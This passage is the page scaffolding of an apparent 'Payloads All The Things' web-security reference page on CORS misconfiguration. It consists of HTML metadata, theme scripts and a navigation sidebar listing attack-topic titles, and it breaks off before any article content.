<!doctype html>
<html lang="en" class="no-js">
  <head>
    
      <meta charset="utf-8">
      <meta name="viewport" content="width=device-width,initial-scale=1">
      
        <meta name="description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security">
      
      
      
        <link rel="canonical" href="https://swisskyrepo.github.io/PayloadsAllTheThings/CORS%20Misconfiguration/">
      
      
        <link rel="prev" href="../Business%20Logic%20Errors/">
      
      
        <link rel="next" href="../CRLF%20Injection/">
      
      
      <link rel="icon" href="../assets/images/favicon.png">
      <meta name="generator" content="mkdocs-1.6.1, mkdocs-material-9.5.47">
    
    
      
        <title>CORS Misconfiguration - Payloads All The Things</title>
      
    
    
	
      <link rel="stylesheet" href="../assets/stylesheets/main.6f8fc17f.min.css">
      
        
        <link rel="stylesheet" href="../assets/stylesheets/palette.06af60db.min.css">
      
      


    
  <style>
  .social-container {
    float: right;
  }
  </style>

    
      
    
    
      
        
        
        <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback">
        <style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style>
      
    
    
      <link rel="stylesheet" href="../custom.css">
    
    <script>__md_scope=new URL("..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script>
    
      

    
    
      
        <meta  property="og:type"  content="website" >
      
        <meta  property="og:title"  content="CORS Misconfiguration - Payloads All The Things" >
      
        <meta  property="og:description"  content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security" >
      
        <meta  property="og:image"  content="https://swisskyrepo.github.io/PayloadsAllTheThings/assets/images/social/CORS Misconfiguration/README.png" >
      
        <meta  property="og:image:type"  content="image/png" >
      
        <meta  property="og:image:width"  content="1200" >
      
        <meta  property="og:image:height"  content="630" >
      
        <meta  property="og:url"  content="https://swisskyrepo.github.io/PayloadsAllTheThings/CORS%20Misconfiguration/" >
      
        <meta  name="twitter:card"  content="summary_large_image" >
      
        <meta  name="twitter:title"  content="CORS Misconfiguration - Payloads All The Things" >
      
        <meta  name="twitter:description"  content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security" >
      
        <meta  name="twitter:image"  content="https://swisskyrepo.github.io/PayloadsAllTheThings/assets/images/social/CORS Misconfiguration/README.png" >
      
    
    
  </head>
  
  
    
    
      
    
    
    
    
    <body dir="ltr" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo">
  
    
    <input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off">
    <input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off">
    <label class="md-overlay" for="__drawer"></label>
    <div data-md-component="skip">
      
        
        <a href="#cors-misconfiguration" class="md-skip">
          Skip to content
        </a>
      
    </div>
    <div data-md-component="announce">
      
    </div>
    
    
      

  

<header class="md-header md-header--shadow" data-md-component="header">
  <nav class="md-header__inner md-grid" aria-label="Header">
    <a href=".." title="Payloads All The Things" class="md-header__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
      
  
  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54"/></svg>

    </a>
    <label class="md-header__button md-icon" for="__drawer">
      
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg>
    </label>
    <div class="md-header__title" data-md-component="header-title">
      <div class="md-header__ellipsis">
        <div class="md-header__topic">
          <span class="md-ellipsis">
            Payloads All The Things
          </span>
        </div>
        <div class="md-header__topic" data-md-component="header-topic">
          <span class="md-ellipsis">
            
              CORS Misconfiguration
            
          </span>
        </div>
      </div>
    </div>
    
      
        <form class="md-header__option" data-md-component="palette">
  
    
    
    
    <input class="md-option" data-md-color-media="(prefers-color-scheme: light)" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo"  aria-label="Switch to dark mode"  type="radio" name="__palette" id="__palette_0">
    
      <label class="md-header__button md-icon" title="Switch to dark mode" for="__palette_1" hidden>
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a4 4 0 0 0-4 4 4 4 0 0 0 4 4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 10a6 6 0 0 1-6-6 6 6 0 0 1 6-6 6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12z"/></svg>
      </label>
    
  
    
    
    
    <input class="md-option" data-md-color-media="(prefers-color-scheme: dark)" data-md-color-scheme="slate" data-md-color-primary="indigo" data-md-color-accent="indigo"  aria-label="Switch to light mode"  type="radio" name="__palette" id="__palette_1">
    
      <label class="md-header__button md-icon" title="Switch to light mode" for="__palette_0" hidden>
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12s-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6a6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12z"/></svg>
      </label>
    
  
</form>
      
    
    
      <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script>
    
    
    
      <label class="md-header__button md-icon" for="__search">
        
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg>
      </label>
      <div class="md-search" data-md-component="search" role="dialog">
  <label class="md-search__overlay" for="__search"></label>
  <div class="md-search__inner" role="search">
    <form class="md-search__form" name="search">
      <input type="text" class="md-search__input" name="query" aria-label="Search" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="search-query" required>
      <label class="md-search__icon md-icon" for="__search">
        
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg>
        
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg>
      </label>
      <nav class="md-search__options" aria-label="Search">
        
          <a href="javascript:void(0)" class="md-search__icon md-icon" title="Share" aria-label="Share" data-clipboard data-clipboard-text="" data-md-component="search-share" tabindex="-1">
            
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9a3 3 0 0 0-3 3 3 3 0 0 0 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.15c-.05.21-.08.43-.08.66 0 1.61 1.31 2.91 2.92 2.91s2.92-1.3 2.92-2.91A2.92 2.92 0 0 0 18 16.08"/></svg>
          </a>
        
        <button type="reset" class="md-search__icon md-icon" title="Clear" aria-label="Clear" tabindex="-1">
          
          <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg>
        </button>
      </nav>
      
        <div class="md-search__suggest" data-md-component="search-suggest"></div>
      
    </form>
    <div class="md-search__output">
      <div class="md-search__scrollwrap" tabindex="0" data-md-scrollfix>
        <div class="md-search-result" data-md-component="search-result">
          <div class="md-search-result__meta">
            Initializing search
          </div>
          <ol class="md-search-result__list" role="presentation"></ol>
        </div>
      </div>
    </div>
  </div>
</div>
    
    
      <div class="md-header__source">
        <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
  <div class="md-source__icon md-icon">
    
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg>
  </div>
  <div class="md-source__repository">
    GitHub
  </div>
</a>
      </div>
    
  </nav>
  
</header>
    
    <div class="md-container" data-md-component="container">
      
      
        
          
        
      
      <main class="md-main" data-md-component="main">
        <div class="md-main__inner md-grid">
          
            
              
              <div class="md-sidebar md-sidebar--primary" data-md-component="sidebar" data-md-type="navigation" >
                <div class="md-sidebar__scrollwrap">
                  <div class="md-sidebar__inner">
                    



<nav class="md-nav md-nav--primary" aria-label="Navigation" data-md-level="0">
  <label class="md-nav__title" for="__drawer">
    <a href=".." title="Payloads All The Things" class="md-nav__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
      
  
  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54"/></svg>

    </a>
    Payloads All The Things
  </label>
  
    <div class="md-nav__source">
      <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
  <div class="md-source__icon md-icon">
    
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg>
  </div>
  <div class="md-source__repository">
    GitHub
  </div>
</a>
    </div>
  
  <ul class="md-nav__list" data-md-scrollfix>
    
      
      
  
  
  
  
    <li class="md-nav__item">
      <a href=".." class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Payloads All The Things
  </span>
  

      </a>
    </li>
  

    
      
      
  
  
  
  
    <li class="md-nav__item">
      <a href="../CONTRIBUTING/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    CONTRIBUTING
  </span>
  

      </a>
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
        
          
          <label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    API Key Leaks
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_3">
            <span class="md-nav__icon md-icon"></span>
            API Key Leaks
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../API%20Key%20Leaks/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    API Key and Token Leaks
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../API%20Key%20Leaks/IIS-Machine-Keys/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    IIS Machine Keys
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
        
          
          <label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Account Takeover
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_4">
            <span class="md-nav__icon md-icon"></span>
            Account Takeover
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Account%20Takeover/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Account Takeover
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Account%20Takeover/mfa-bypass/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    MFA Bypasses
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
        
          
          <label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Business Logic Errors
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_5">
            <span class="md-nav__icon md-icon"></span>
            Business Logic Errors
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Business%20Logic%20Errors/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Business Logic Errors
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
    
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--active md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" checked>
        
          
          <label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    CORS Misconfiguration
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="true">
          <label class="md-nav__title" for="__nav_6">
            <span class="md-nav__icon md-icon"></span>
            CORS Misconfiguration
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
    
  
  
  
    <li class="md-nav__item md-nav__item--active">
      
      <input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
      
      
        
      
      
        <label class="md-nav__link md-nav__link--active" for="__toc">
          
  
  <span class="md-ellipsis">
    CORS Misconfiguration
  </span>
  

          <span class="md-nav__icon md-icon"></span>
        </label>
      
      <a href="./" class="md-nav__link md-nav__link--active">
        
  
  <span class="md-ellipsis">
    CORS Misconfiguration
  </span>
  

      </a>
      
        

<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
  
  
  
    
  
  
    <label class="md-nav__title" for="__toc">
      <span class="md-nav__icon md-icon"></span>
      Table of contents
    </label>
    <ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
      
        <li class="md-nav__item">
  <a href="#summary" class="md-nav__link">
    <span class="md-ellipsis">
      Summary
    </span>
  </a>
  
</li>
      
        <li class="md-nav__item">
  <a href="#tools" class="md-nav__link">
    <span class="md-ellipsis">
      Tools
    </span>
  </a>
  
</li>
      
        <li class="md-nav__item">
  <a href="#requirements" class="md-nav__link">
    <span class="md-ellipsis">
      Requirements
    </span>
  </a>
  
</li>
      
        <li class="md-nav__item">
  <a href="#methodology" class="md-nav__link">
    <span class="md-ellipsis">
      Methodology
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Methodology">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#origin-reflection" class="md-nav__link">
    <span class="md-ellipsis">
      Origin Reflection
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Origin Reflection">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept" class="md-nav__link">
    <span class="md-ellipsis">
      Proof Of Concept
    </span>
  </a>
  
</li>
        
      </ul>
    </nav>
  
</li>
        
          <li class="md-nav__item">
  <a href="#null-origin" class="md-nav__link">
    <span class="md-ellipsis">
      Null Origin
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Null Origin">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation_1" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept_1" class="md-nav__link">
    <span class="md-ellipsis">
      Proof Of Concept
    </span>
  </a>
  
</li>
        
      </ul>
    </nav>
  
</li>
        
          <li class="md-nav__item">
  <a href="#xss-on-trusted-origin" class="md-nav__link">
    <span class="md-ellipsis">
      XSS on Trusted Origin
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#wildcard-origin-without-credentials" class="md-nav__link">
    <span class="md-ellipsis">
      Wildcard Origin without Credentials
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Wildcard Origin without Credentials">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation_2" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept_2" class="md-nav__link">
    <span class="md-ellipsis">
      Proof Of Concept
    </span>
  </a>
  
</li>
        
      </ul>
    </nav>
  
</li>
        
          <li class="md-nav__item">
  <a href="#expanding-the-origin" class="md-nav__link">
    <span class="md-ellipsis">
      Expanding the Origin
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Expanding the Origin">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation-example-1" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation (Example 1)
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept-example-1" class="md-nav__link">
    <span class="md-ellipsis">
      Proof of Concept (Example 1)
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation-example-2" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation (Example 2)
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept-example-2" class="md-nav__link">
    <span class="md-ellipsis">
      Proof of concept (Example 2)
    </span>
  </a>
  
</li>
        
      </ul>
    </nav>
  
</li>
        
      </ul>
    </nav>
  
</li>
      
        <li class="md-nav__item">
  <a href="#labs" class="md-nav__link">
    <span class="md-ellipsis">
      Labs
    </span>
  </a>
  
</li>
      
        <li class="md-nav__item">
  <a href="#references" class="md-nav__link">
    <span class="md-ellipsis">
      References
    </span>
  </a>
  
</li>
      
    </ul>
  
</nav>
      
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
        
          
          <label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    CRLF Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_7">
            <span class="md-nav__icon md-icon"></span>
            CRLF Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../CRLF%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Carriage Return Line Feed
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
        
          
          <label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    CSV Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_8">
            <span class="md-nav__icon md-icon"></span>
            CSV Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../CSV%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    CSV Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
        
          
          <label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    CVE Exploits
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_9">
            <span class="md-nav__icon md-icon"></span>
            CVE Exploits
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../CVE%20Exploits/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Common Vulnerabilities and Exposures
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    CVE-2021-44228 Log4Shell
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
        
          
          <label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Clickjacking
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_10">
            <span class="md-nav__icon md-icon"></span>
            Clickjacking
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Clickjacking/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Clickjacking
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
        
          
          <label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Client Side Path Traversal
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_11">
            <span class="md-nav__icon md-icon"></span>
            Client Side Path Traversal
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
